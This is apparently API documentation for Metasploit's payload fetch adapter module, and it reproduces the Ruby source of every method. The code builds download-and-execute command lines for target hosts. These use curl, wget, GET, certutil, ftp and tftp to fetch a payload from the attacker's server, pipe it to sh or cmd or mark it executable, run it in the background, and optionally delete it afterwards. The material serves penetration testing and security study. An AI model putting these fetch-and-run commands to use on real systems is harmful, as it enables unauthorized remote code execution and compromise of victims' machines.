Module: Msf::Payload::Adapter::Fetch

Includes:
Fileless
Included in:
HTTP, Https, SMB, TFTP
Defined in:
lib/msf/core/payload/adapter/fetch.rb

Defined Under Namespace

Modules: Fileless, HTTP, Https, LinuxOptions, SMB, TFTP, WindowsOptions

Instance Method Summary collapse

Methods included from Fileless

#_generate_fileless_bash_search, #_generate_fileless_python, #_generate_fileless_shell, #_generate_first_stage_shellcode, #_generate_jmp_instruction

Instance Method Details

#_check_tftp_fileObject



218
219
220
221
222
223
224
# File 'lib/msf/core/payload/adapter/fetch.rb', line 218

def _check_tftp_file
  # Older Linux tftp clients do not support saving the file under a different name
  unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
    print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
  end
end

#_check_tftp_portObject



210
211
212
213
214
215
216
# File 'lib/msf/core/payload/adapter/fetch.rb', line 210

def _check_tftp_port
  # Most tftp clients do not have configurable ports
  if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
    print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
  end
end

#_determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) ⇒ Object



227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
# File 'lib/msf/core/payload/adapter/fetch.rb', line 227

def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
  comm = nil

  case srv_comm
  when 'local'
    comm = ::Rex::Socket::Comm::Local
  when /\A-?[0-9]+\Z/
    comm = framework.sessions.get(srv_comm.to_i)
    raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
    raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
  when nil, ''
    unless ip.nil?
      comm = Rex::Socket::SwitchBoard.best_comm(ip)
    end
  else
    raise("SocketServer Comm '#{srv_comm}' is invalid")
  end

  comm || ::Rex::Socket::Comm::Local
end

#_download_pipeObject



72
73
74
# File 'lib/msf/core/payload/adapter/fetch.rb', line 72

def _download_pipe
  "#{srvnetloc}/#{@pipe_uri}"
end

#_execute_add(get_file_cmd) ⇒ Object



248
249
250
251
252
# File 'lib/msf/core/payload/adapter/fetch.rb', line 248

def _execute_add(get_file_cmd)
  return _execute_win(get_file_cmd) if windows?

  return _execute_nix(get_file_cmd)
end

#_execute_nix(get_file_cmd) ⇒ Object



260
261
262
263
264
265
266
267
268
269
270
271
# File 'lib/msf/core/payload/adapter/fetch.rb', line 260

def _execute_nix(get_file_cmd)
  return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
  return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
  return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'


  cmds = get_file_cmd
  cmds << ";chmod +x #{_remote_destination_nix}"
  cmds << ";#{_remote_destination_nix}&"
  cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
  cmds
end

#_execute_win(get_file_cmd) ⇒ Object



254
255
256
257
258
# File 'lib/msf/core/payload/adapter/fetch.rb', line 254

def _execute_win(get_file_cmd)
  cmds = " & start /B #{_remote_destination_win}"
  cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
  get_file_cmd << cmds
end

#_generate_certutil_commandObject



273
274
275
276
277
278
279
280
281
282
283
284
285
286
# File 'lib/msf/core/payload/adapter/fetch.rb', line 273

def _generate_certutil_command
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
  when 'HTTPS'
    # I don't think there is a way to disable cert check in certutil....
    print_error('CERTUTIL binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
    get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_curl_commandObject



288
289
290
291
292
293
294
295
296
297
298
299
300
# File 'lib/msf/core/payload/adapter/fetch.rb', line 288

def _generate_curl_command
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}"
  when 'HTTPS'
    get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
  when 'TFTP'
    get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_curl_pipeObject



302
303
304
305
306
307
308
309
310
311
312
313
# File 'lib/msf/core/payload/adapter/fetch.rb', line 302

def _generate_curl_pipe
  execute_cmd = 'sh'
  execute_cmd = 'cmd' if windows?
  case fetch_protocol
  when 'HTTP'
    return "curl -s http://#{_download_pipe}|#{execute_cmd}"
  when 'HTTPS'
    return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_generate_ftp_commandObject



352
353
354
355
356
357
358
359
360
361
362
363
364
# File 'lib/msf/core/payload/adapter/fetch.rb', line 352

def _generate_ftp_command
  case fetch_protocol
  when 'FTP'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
  when 'HTTP'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}"
  when 'HTTPS'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_get_commandObject



315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
# File 'lib/msf/core/payload/adapter/fetch.rb', line 315

def _generate_get_command
  # Specifying the method (-m GET) is necessary on OSX
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
  when 'HTTPS'
    # There is no way to disable cert check in GET ...
    print_error('GET binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
  when 'FTP'
    get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
  _execute_add(get_file_cmd)
end

#_generate_get_pipeObject



333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
# File 'lib/msf/core/payload/adapter/fetch.rb', line 333

def _generate_get_pipe
  # Specifying the method (-m GET) is necessary on OSX
  execute_cmd = 'sh'
  execute_cmd = 'cmd' if windows?
  case fetch_protocol
  when 'HTTP'
    return "GET -m GET http://#{_download_pipe}|#{execute_cmd}"
  when 'HTTPS'
    # There is no way to disable cert check in GET ...
    print_error('GET binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    return "GET -m GET https://#{_download_pipe}|#{execute_cmd}"
  when 'FTP'
    return "GET ftp://#{_download_pipe}|#{execute_cmd}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_generate_tftp_commandObject



366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
# File 'lib/msf/core/payload/adapter/fetch.rb', line 366

def _generate_tftp_command
  _check_tftp_port
  case fetch_protocol
  when 'TFTP'
    if windows?
      fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
    else
      _check_tftp_file
      if datastore['FETCH_FILELESS'] != 'none' && linux?
        return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
      else
        fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
      end
    end
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  fetch_command
end

#_generate_tnftp_commandObject



386
387
388
389
390
391
392
393
394
395
396
397
398
# File 'lib/msf/core/payload/adapter/fetch.rb', line 386

def _generate_tnftp_command
  case fetch_protocol
  when 'FTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
  when 'HTTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}"
  when 'HTTPS'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_wget_commandObject



400
401
402
403
404
405
406
407
408
409
410
411
# File 'lib/msf/core/payload/adapter/fetch.rb', line 400

def _generate_wget_command
  case fetch_protocol
  when 'HTTPS'
    get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
  when 'HTTP'
    get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end

  _execute_add(get_file_cmd)
end

#_generate_wget_pipeObject



413
414
415
416
417
418
419
420
421
422
# File 'lib/msf/core/payload/adapter/fetch.rb', line 413

def _generate_wget_pipe
  case fetch_protocol
  when 'HTTPS'
    return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
  when 'HTTP'
    return "wget -qO- http://#{_download_pipe}|sh"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_remote_destinationObject



424
425
426
427
428
# File 'lib/msf/core/payload/adapter/fetch.rb', line 424

def _remote_destination
  return _remote_destination_win if windows?

  return _remote_destination_nix
end

#_remote_destination_nixObject



430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
# File 'lib/msf/core/payload/adapter/fetch.rb', line 430

def _remote_destination_nix
  return @remote_destination_nix unless @remote_destination_nix.nil?

  if datastore['FETCH_FILELESS'] != 'none'
    @remote_destination_nix = '$f'
  else
    writable_dir = datastore['FETCH_WRITABLE_DIR']
    writable_dir = '.' if writable_dir.blank?
    writable_dir += '/' unless writable_dir[-1] == '/'
    payload_filename = datastore['FETCH_FILENAME']
    payload_filename = srvuri if payload_filename.blank?
    payload_path = writable_dir + payload_filename
    @remote_destination_nix = payload_path
  end
  @remote_destination_nix
end

#_remote_destination_winObject



447
448
449
450
451
452
453
454
455
456
457
458
# File 'lib/msf/core/payload/adapter/fetch.rb', line 447

def _remote_destination_win
  return @remote_destination_win unless @remote_destination_win.nil?

  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  payload_path += '.exe' unless payload_path[-4..] == '.exe'
  @remote_destination_win = payload_path
  @remote_destination_win
end

#default_srvuri(extra_data = nil) ⇒ Object

If no fetch URL is provided, we generate one based off the underlying payload data This is because if we use a randomly-generated URI, the URI generated by venom and Framework will not match. This way, we can build a payload in venom and a listener in Framework, and if the underlying payload type/host/port are the same, the URI will be, too.



38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'lib/msf/core/payload/adapter/fetch.rb', line 38

def default_srvuri(extra_data = nil)
  # If we're in framework, payload is in datastore; msfvenom has it in refname
  payload_name = datastore['payload'] ||= refname
  decoded_uri = payload_name.dup
  # there may be no transport, so leave the connection string off if that's the case
  netloc = ''
  if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['LPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['LPORT']}"
      else
        netloc = "#{netloc}:#{datastore['LPORT']}"
      end
    end
  elsif module_info['ConnectionType'].upcase == 'BIND'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['RPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['RPORT']}"
      else
        netloc = "#{netloc}:#{datastore['RPORT']}"
      end
    end
  end
  decoded_uri << ";#{netloc}"
  decoded_uri << ";#{extra_data}" unless extra_data.nil?
  Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

#download_uriObject



68
69
70
# File 'lib/msf/core/payload/adapter/fetch.rb', line 68

def download_uri
  "#{srvnetloc}/#{srvuri}"
end

#fetch_bindhostObject



76
77
78
# File 'lib/msf/core/payload/adapter/fetch.rb', line 76

def fetch_bindhost
  datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

#fetch_bindnetlocObject



84
85
86
# File 'lib/msf/core/payload/adapter/fetch.rb', line 84

def fetch_bindnetloc
  Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
end

#fetch_bindportObject



80
81
82
# File 'lib/msf/core/payload/adapter/fetch.rb', line 80

def fetch_bindport
  datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

#generate(opts = {}) ⇒ Object



94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# File 'lib/msf/core/payload/adapter/fetch.rb', line 94

def generate(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  opts[:code] = super
  @srvexe = generate_payload_exe(opts)
  if datastore['FETCH_PIPE']
    unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
      fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
    end
    @pipe_cmd = generate_fetch_commands
    @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
    vprint_status("Command served: #{@pipe_cmd}")
    cmd = generate_pipe_command
  else
    cmd = generate_fetch_commands
  end
  vprint_status("Command to run on remote host: #{cmd}")
  cmd
end

#generate_fetch_commandsObject



129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# File 'lib/msf/core/payload/adapter/fetch.rb', line 129

def generate_fetch_commands
  # TODO: Make a check method that determines if we support a platform/server/command combination
  #
  case datastore['FETCH_COMMAND'].upcase
  when 'FTP'
    return _generate_ftp_command
  when 'TNFTP'
    return _generate_tnftp_command
  when 'WGET'
    return _generate_wget_command
  when 'GET'
    return _generate_get_command
  when 'CURL'
    return _generate_curl_command
  when 'TFTP'
    return _generate_tftp_command
  when 'CERTUTIL'
    return _generate_certutil_command
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#generate_payload_uuid(conf = {}) ⇒ Object



157
158
159
160
161
# File 'lib/msf/core/payload/adapter/fetch.rb', line 157

def generate_payload_uuid(conf = {})
  conf[:arch] ||= module_info['AdaptedArch']
  conf[:platform] ||= module_info['AdaptedPlatform']
  super
end

#generate_pipe_commandObject



113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# File 'lib/msf/core/payload/adapter/fetch.rb', line 113

def generate_pipe_command
  # TODO: Make a check method that determines if we support a platform/server/command combination
  @pipe_uri = pipe_srvuri

  case datastore['FETCH_COMMAND'].upcase
  when 'WGET'
    return _generate_wget_pipe
  when 'GET'
    return _generate_get_pipe
  when 'CURL'
    return _generate_curl_pipe
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
  end
end

#generate_stage(opts = {}) ⇒ Object



152
153
154
155
# File 'lib/msf/core/payload/adapter/fetch.rb', line 152

def generate_stage(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#handle_connection(conn, opts = {}) ⇒ Object



163
164
165
166
# File 'lib/msf/core/payload/adapter/fetch.rb', line 163

def handle_connection(conn, opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#initialize(*args) ⇒ Object



4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# File 'lib/msf/core/payload/adapter/fetch.rb', line 4

def initialize(*args)
  super
  register_options(
    [
      Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
      Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
      # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
      Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
      Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
    ]
  )
  register_advanced_options(
    [
      Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
      Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
      Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
    ]
  )
  @fetch_service = nil
  @myresources = []
  @srvexe = ''
  @pipe_uri = nil
  @pipe_cmd = nil
  @remote_destination_win = nil
  @remote_destination_nix = nil
  @windows = nil
end

#linux?Boolean

Returns:

  • (Boolean)


203
204
205
206
207
208
# File 'lib/msf/core/payload/adapter/fetch.rb', line 203

def linux?
  return @linux unless @linux.nil?

  @linux = platform.platforms.first == Msf::Module::Platform::Linux
  @linux
end

#pipe_srvuriObject



190
191
192
193
194
# File 'lib/msf/core/payload/adapter/fetch.rb', line 190

def pipe_srvuri
  return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

  default_srvuri('pipe')
end

#pipe_supported_binariesObject



88
89
90
91
92
# File 'lib/msf/core/payload/adapter/fetch.rb', line 88

def pipe_supported_binaries
  # this is going to expand when we add psh support
  return %w[CURL] if windows?
  %w[WGET GET CURL]
end

#srvhostObject



168
169
170
171
172
173
# File 'lib/msf/core/payload/adapter/fetch.rb', line 168

def srvhost
  host = datastore['FETCH_SRVHOST']
  host = datastore['LHOST'] if host.blank?
  host = '127.127.127.127' if host.blank?
  host
end

#srvnetlocObject



175
176
177
# File 'lib/msf/core/payload/adapter/fetch.rb', line 175

def srvnetloc
  Rex::Socket.to_authority(srvhost, srvport)
end

#srvportObject



179
180
181
# File 'lib/msf/core/payload/adapter/fetch.rb', line 179

def srvport
  datastore['FETCH_SRVPORT']
end

#srvuriObject



183
184
185
186
187
188
# File 'lib/msf/core/payload/adapter/fetch.rb', line 183

def srvuri
  # If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command
  return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?

  datastore['FETCH_URIPATH']
end

#windows?Boolean

Returns:

  • (Boolean)


196
197
198
199
200
201
# File 'lib/msf/core/payload/adapter/fetch.rb', line 196

def windows?
  return @windows unless @windows.nil?

  @windows = platform.platforms.first == Msf::Module::Platform::Windows
  @windows
end